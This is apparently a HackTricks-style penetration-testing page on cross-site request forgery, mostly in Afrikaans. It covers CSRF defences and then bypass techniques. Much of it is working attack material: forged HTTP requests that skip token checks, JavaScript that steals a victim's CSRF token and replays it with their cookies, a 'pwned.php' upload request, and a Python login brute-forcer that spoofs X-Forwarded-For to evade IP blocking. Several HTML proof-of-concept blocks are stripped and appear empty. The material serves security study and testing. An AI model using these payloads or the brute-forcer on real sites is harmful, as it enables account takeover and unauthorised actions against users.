# CSRF (Cross Site Request Forgery) {{#include ../banners/hacktricks-training.md}} ## Cross-Site Request Forgery (CSRF) Explained **Cross-Site Request Forgery (CSRF)** is ’n tipe sekuriteitskwesbaarheid wat in webtoepassings gevind word. Dit stel ’n aanvaller in staat om aksies namens onbewuste gebruikers uit te voer deur hul geverifieerde sessies uit te buit. Die aanval gebeur wanneer ’n gebruiker, wat in ’n slagoffer se platform aangemeld is, ’n kwaadwillige webwerf besoek. Daardie webwerf veroorsaak dan versoeke na die slagoffer se rekening deur metodes soos die uitvoer van JavaScript, die indien van vorms, of die laai van beelde. ### Voorvereistes vir ’n CSRF-aanval Om ’n CSRF-kwesbaarheid uit te buit, moet verskeie voorwaardes vervul word: 1. **Identifiseer ’n waardevolle aksie**: Die aanvaller moet ’n aksie vind wat die moeite werd is om uit te buit, soos om die gebruiker se wagwoord of e-pos te verander, of om privilige te verhoog. 2. **Sessie-bestuur**: Die gebruiker se sessie moet uitsluitlik deur cookies of die HTTP Basic Authentication header bestuur word, aangesien ander headers nie vir hierdie doel gemanipuleer kan word nie. 3. **Afwesigheid van onvoorspelbare parameters**: Die versoek moet geen onvoorspelbare parameters bevat nie, aangesien dit die aanval kan keer. ### Vinnige Kontrole Jy kan die versoek in Burp opvang en CSRF-beskermings nagaan; om dit in die blaaier te toets kan jy op **Copy as fetch** klik en die versoek kontroleer:
### Verdediging teen CSRF Verskeie teenmaatreëls kan geïmplementeer word om teen CSRF-aanvalle te beskerm: - [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Hierdie attribuut verhoed dat die blaaier cookies saam met cross-site versoeke stuur. [More about SameSite cookies](hacking-with-cookies/index.html#samesite). - [**Cross-origin resource sharing**](cors-bypass.md): Die CORS-beleid van die slagofferwebwerf kan die uitvoerbaarheid van die aanval beïnvloed, veral as die aanval vereis dat die reaksie vanaf die slagoffer-webwerf gelees word. [Learn about CORS bypass](cors-bypass.md). - **Gebruiker-verifikasie**: Om die gebruiker se wagwoord te vra of ’n captcha op te los, kan die gebruiker se bedoeling verifieer. - **Kontroleer Referrer of Origin Headers**: Valideer hierdie headers om te verseker dat versoeke van vertroude bronne kom. Wees egter bewus dat swak geïmplementeerde kontroles omseil kan word deur slim saamgestelde URL’s, soos: - Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL) - Using `http://example.com.mal.net` (URL starts with the trusted URL) - **Parametername-wysiging**: Die verander van parametername in POST- of GET-versoeke kan help om geautomatiseerde aanvalle te voorkom. - **CSRF Tokens**: Insluiting van ’n unieke CSRF-token in elke sessie en die vereiste van hierdie token in opvolgversoeke kan die risiko van CSRF aansienlik verminder. Die doeltreffendheid van die token kan verbeter word deur CORS af te dwing. Om hierdie verdedigingstegnieke te verstaan en te implementeer is kritiek vir die instandhouding van die sekuriteit en integriteit van webtoepassings. #### Algemene foute in verdediging - SameSite-foute: `SameSite=Lax` laat steeds top-level cross-site navigasies soos skakels en form GETs toe, so baie GET-gebaseerde CSRF’s bly moontlik. Sien cookie matrix in [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite). - Header-kontroles: Valideer `Origin` wanneer dit teenwoordig is; as beide `Origin` en `Referer` afwesig is, faal toe. Moenie op substring/regex-match van `Referer` staatmaak wat omseil kan word met lookalike-domeine of saamgestelde URL’s nie, en neem kennis van die `meta name="referrer" content="never"` onderdrukkingstruuk. - Method overrides: Hanteer oor-geschrewe metodes (`_method` of override headers) as state-changing en handhaaf CSRF op die effektiewe metode, nie net op POST nie. - Login-vloei: Pas CSRF-beskerming ook op login toe; anders maak login CSRF gedwonge her-verifikasie in aanvaller-beheerde rekenings moontlik, wat saam met stored XSS gekoppel kan word. ## Defences Bypass ### From POST to GET (method-conditioned CSRF validation bypass) Sommige toepassings voer slegs CSRF-validasie op POST uit terwyl hulle dit vir ander verbs oorslaan. ’n Algemene anti-pattern in PHP lyk soos: ```php public function csrf_check($fatal = true) { if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF // ... validate __csrf_token here ... } ``` As die kwesbare endpoint ook parameters vanaf $_REQUEST aanvaar, kan jy dieselfde aksie as 'n GET'-versoek heruitvoer en die CSRF-token heeltemal weglaat. Dit omskep 'n POST-only aksie in 'n GET-aksie wat sonder 'n token slaag. Example: - Original POST with token (intended): ```http POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1 Content-Type: application/x-www-form-urlencoded __csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker","widgetType":"URL"}] ``` - Bypass by switching to GET (no token): ```http GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker","widgetType":"URL"}] HTTP/1.1 ``` Notes: - Hierdie patroon verskyn gereeld saam met reflected XSS, waar antwoorde verkeerdelik as text/html geserveer word in plaas van application/json. - Dit in kombinasie met XSS verlaag die uitbuitingshindernisse aansienlik omdat jy 'n enkele GET-skakel kan verskaf wat beide die kwesbare kodepad aktiveer en CSRF-kontroles heeltemal omseil. ### Gebrek aan token Aansoeke mag 'n meganisme implementeer om **tokens te valideer** wanneer hulle teenwoordig is. Daar ontstaan egter 'n kwesbaarheid as die validering heeltemal oorgeslaan word wanneer die token afwesig is. Aanvallers kan dit misbruik deur **die parameter te verwyder** wat die token dra, nie net die waarde daarvan nie. Dit stel hulle in staat om die valideringsproses te omseil en 'n Cross-Site Request Forgery (CSRF)-aanval effektief uit te voer. Verder kontroleer sommige implementasies slegs dat die parameter bestaan maar valideer nie die inhoud daarvan nie, so **'n leë token-waarde word aanvaar**. In daardie geval is dit genoeg om eenvoudig die versoek met `csrf=` in te stuur: ```http POST /admin/users/role HTTP/2 Host: example.com Content-Type: application/x-www-form-urlencoded username=guest&role=admin&csrf= ``` Minimale outomatiese PoC (verberg navigasie met history.pushState): ```html
``` ### CSRF token is not tied to the user session Aansoeke wat **CSRF tokens nie aan gebruikersessies bind nie** vorm 'n noemenswaardige **veiligheidsrisiko**. Hierdie stelsels verifieer tokens teen 'n **globale poel** eerder as om te verseker dat elke token aan die initierende sessie gebind is. Hier is hoe aanvalers dit misbruik: 1. **Meld aan** met hul eie rekening. 2. **Kry 'n geldige CSRF-token** uit die globale poel. 3. **Gebruik hierdie token** in 'n CSRF-aanval teen 'n slagoffer. Hierdie kwesbaarheid stel aanvalers in staat om ongemagtigde versoeke namens die slagoffer te maak, deur die toepassing se **ontoereikende token-verifikasie-meganisme** uit te buit. ### Method bypass If the request is using a "**vreemde**" **method**, check if the **method override** functionality is working. For example, if it's using a **PUT/DELETE/PATCH** method you can try to use a **POST** and send an override, e.g. `https://example.com/my/dear/api/val/num?_method=PUT`. This can also work by sending the **`_method` parameter inside a POST body** or using override **headers**: - `X-HTTP-Method` - `X-HTTP-Method-Override` - `X-Method-Override` Common in frameworks like **Laravel**, **Symfony**, **Express**, and others. Developers sometimes skip CSRF on non-POST verbs assuming browsers can’t issue them; with overrides, you can still reach those handlers via POST. Example request and HTML PoC: ```http POST /users/delete HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded username=admin&_method=DELETE ``` ```html
``` ### Custom header token bypass As die request 'n **custom header** met 'n **token** byvoeg as **CSRF protection method**, dan: - Toets die request sonder die **Customized Token and also header.** - Toets die request met presies dieselfde **same length but different token**. ### CSRF token is verified by a cookie Aansoeke kan CSRF-beskerming implementeer deur die token te dupliseer in beide 'n cookie en 'n request parameter, of deur 'n CSRF cookie te stel en te verifieer of die token wat in die backend gestuur word ooreenstem met die cookie. Die toepassing valideer requests deur te kontroleer of die token in die request parameter ooreenstem met die waarde in die cookie. Hierdie metode is egter kwesbaar vir CSRF attacks as die website foutiewe areas het wat 'n aanvaller toelaat om 'n CSRF cookie in die slagoffer se browser te stel, soos 'n CRLF vulnerability. Die aanvaller kan dit uitbuit deur 'n misleidende image te laai wat die cookie stel, gevolg deur die initiering van die CSRF attack. Below is an example of how an attack could be structured: ```html
``` > [!TIP] > Let wel dat as die **csrf token verwant is aan die session cookie** sal hierdie aanval nie werk nie, omdat jy die slagoffer se session na jou eie session moet stel, en gevolglik jouself sal aanval. ### Content-Type verandering Volgens [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), om **preflight** requests wat die **POST**-metode gebruik te **vermy**, is die volgende Content-Type waardes toegelaat: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** Neem egter kennis dat die **serverlogika kan verskil** afhangende van die gebruikte **Content-Type**, dus moet jy die genoemde waardes probeer en ook ander soos **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ Voorbeeld (van [here](https://brycec.me/posts/corctf_2021_challenges)) van die stuur van JSON data as text/plain: ```html
``` ### Oorkoming van preflight-versoeke vir JSON-data Wanneer jy probeer om JSON-data via 'n POST-versoek te stuur, is dit nie direk moontlik om `Content-Type: application/json` in 'n HTML-form te gebruik nie. Op dieselfde manier veroorsaak die gebruik van `XMLHttpRequest` om hierdie content type te stuur 'n preflight-versoek. Nietemin is daar strategieë om moontlik hierdie beperking te omseil en te kontroleer of die bediener die JSON-data verwerk ongeag die Content-Type: 1. **Gebruik alternatiewe Content Types**: Gebruik `Content-Type: text/plain` of `Content-Type: application/x-www-form-urlencoded` deur `enctype="text/plain"` in die form te stel. Hierdie benadering toets of die backend die data gebruik ongeag die Content-Type. 2. **Wysig Content Type**: Om 'n preflight-versoek te vermy terwyl jy verseker dat die bediener die inhoud as JSON herken, kan jy die data stuur met `Content-Type: text/plain; application/json`. Dit trigger nie 'n preflight-versoek nie, maar kan moontlik korrek deur die bediener verwerk word as dit gekonfigureer is om `application/json` te aanvaar. 3. **SWF Flash File Utilization**: 'n Minder algemene maar uitvoerbare metode behels die gebruik van 'n SWF flash-lêer om sulke beperkings te omseil. Vir 'n diepgaande begrip van hierdie tegniek, verwys na [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Referrer / Origin kontrole-omseiling **Vermy Referrer header** Toepassings mag die 'Referer' header slegs valideer wanneer dit teenwoordig is. Om te verhoed dat 'n browser hierdie header stuur, kan die volgende HTML meta-tag gebruik word: ```xml ``` Dit verseker dat die 'Referer' header weggelaat word, wat moontlik valideringskontroles in sommige toepassings kan omseil. **Regexp bypasses** {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} Om die domeinnaam van die bediener in die URL te stel wat die Referrer binne die parameters gaan stuur, kan jy dit doen: ```html
``` ### **HEAD metode bypass** Die eerste deel van [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) verduidelik dat [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), 'n router is ingestel om **handle HEAD requests as GET requests** met geen response body nie — 'n algemene omweg wat nie uniek is aan Oak is nie. In plaas van 'n spesifieke handler wat met HEAD reqs omgaan, word hulle eenvoudigweg **given to the GET handler but the app just removes the response body**. Daarom, as 'n GET request beperk word, kan jy net **send a HEAD request that will be processed as a GET request**. ## **Exploit Voorbeelde** ### Gestoor CSRF via deur gebruikers gegenereerde HTML Wanneer rich-text editors of HTML injection toegelaat word, kan jy 'n passiewe fetch persisteer wat 'n kwesbare GET endpoint tref. Enige gebruiker wat die inhoud sien, sal outomaties die request met hul cookies uitvoer. - As die app 'n globale CSRF token gebruik wat nie aan die gebruikersessie gebonde is nie, kan dieselfde token vir alle gebruikers werk, wat gestoor CSRF betroubaar oor slagoffers maak. Minimale voorbeeld wat die kyker se e-pos verander wanneer dit gelaai word: ```html ``` ### Login CSRF gekoppel aan stored XSS Login CSRF alleen mag lae impak hê, maar as dit gekoppel word aan 'n authenticated stored XSS, word dit kragtig: dwing die slagoffer om in 'n deur die aanvaller beheerde rekening aan te meld; sodra hulle in daardie konteks is, sal 'n stored XSS op 'n authenticated bladsy uitvoer en kan steal tokens, hijack the session, of escalate privileges. - Maak seker die login endpoint is CSRF-able (geen per-session token of origin check nie) en dat geen user interaction gates dit blokkeer. - Na forced login, auto-navigate na 'n bladsy wat die attacker’s stored XSS payload bevat. Minimal login-CSRF PoC: ```html
``` ### **Exfiltrating CSRF Token** Indien 'n **CSRF token** gebruik word as **defence** kan jy probeer **exfiltrate it** deur misbruik te maak van 'n [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) kwetsbaarheid of 'n [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) kwetsbaarheid. ### **GET using HTML tags** ```xml

404 - Page not found

The URL you are requesting is no longer available ``` Ander HTML5-tags wat gebruik kan word om outomaties 'n GET-versoek te stuur, is: ```html ``` ### Vorm GET-versoek ```html
``` ### Vorm POST request ```html
``` ### Formulier POST-versoek deur iframe ```html
``` ### **Ajax POST request** ```html ``` ### multipart/form-data POST versoek ```javascript myFormData = new FormData() var blob = new Blob([""], { type: "text/text" }) myFormData.append("newAttachment", blob, "pwned.php") fetch("http://example/some/path", { method: "post", body: myFormData, credentials: "include", headers: { "Content-Type": "application/x-www-form-urlencoded" }, mode: "no-cors", }) ``` ### multipart/form-data POST request v2 ```javascript // https://www.exploit-db.com/exploits/20009 var fileSize = fileData.length, boundary = "OWNEDBYOFFSEC", xhr = new XMLHttpRequest() xhr.withCredentials = true xhr.open("POST", url, true) // MIME POST request. xhr.setRequestHeader( "Content-Type", "multipart/form-data, boundary=" + boundary ) xhr.setRequestHeader("Content-Length", fileSize) var body = "--" + boundary + "\r\n" body += 'Content-Disposition: form-data; name="' + nameVar + '"; filename="' + fileName + '"\r\n' body += "Content-Type: " + ctype + "\r\n\r\n" body += fileData + "\r\n" body += "--" + boundary + "--" //xhr.send(body); xhr.sendAsBinary(body) ``` ### Form POST request van binne 'n iframe ```html <--! expl.html -->

Sitio bajo mantenimiento. Disculpe las molestias

``` ### **Steel CSRF Token en stuur 'n POST versoek** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() xhr.open("POST", POST_URL, true) xhr.withCredentials = true // Send the proper header information along with the request xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded") // This is for debugging and can be removed xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { //console.log(xhr.responseText); } } xhr.send("token=" + token + "&otherparama=heyyyy") } function getTokenJS() { var xhr = new XMLHttpRequest() // This tels it to return it as a HTML document xhr.responseType = "document" xhr.withCredentials = true // true on the end of here makes the call asynchronous xhr.open("GET", GET_URL, true) xhr.onload = function (e) { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // Get the document from the response page = xhr.response // Get the input element input = page.getElementById("token") // Show the token //console.log("The token is: " + input.value); // Use the token to submit the form submitFormWithTokenJS(input.value) } } // Make the request xhr.send(null) } var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` ### **Steel CSRF Token en stuur 'n Post request deur 'n iframe, 'n form en Ajax** ```html
``` ### **Steel CSRF Token en stuur 'n POST versoek deur 'n iframe en 'n form** ```html ``` ### **Steel token en stuur dit met behulp van 2 iframes** ```html
``` ### **POSTSteal CSRF token met Ajax en stuur 'n post met 'n form** ```html
``` ### CSRF met Socket.IO ```html ``` ## CSRF Login Brute Force Die kode kan gebruik word om 'n Brut Force op 'n login form uit te voer deur 'n CSRF token te gebruik (dit gebruik ook die header X-Forwarded-For om te probeer 'n moontlike IP blacklisting te omseil): ```python import request import re import random URL = "http://10.10.10.191/admin/" PROXY = { "http": "127.0.0.1:8080"} SESSION_COOKIE_NAME = "BLUDIT-KEY" USER = "fergus" PASS_LIST="./words" def init_session(): #Return CSRF + Session (cookie) r = requests.get(URL) csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) csrf = csrf.group(1) session_cookie = r.cookies.get(SESSION_COOKIE_NAME) return csrf, session_cookie def login(user, password): print(f"{user}:{password}") csrf, cookie = init_session() cookies = {SESSION_COOKIE_NAME: cookie} data = { "tokenCSRF": csrf, "username": user, "password": password, "save": "" } headers = { "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" } r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) if "Username or password incorrect" in r.text: return False else: print(f"FOUND {user} : {password}") return True with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` ## Gereedskap - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) - [Burp Suite Professional – Generate CSRF PoCs](https://portswigger.net/burp) ## Verwysings - [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) - [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) - [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities) - [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf) - [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery) - [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf) - [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery) - [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/) {{#include ../banners/hacktricks-training.md}}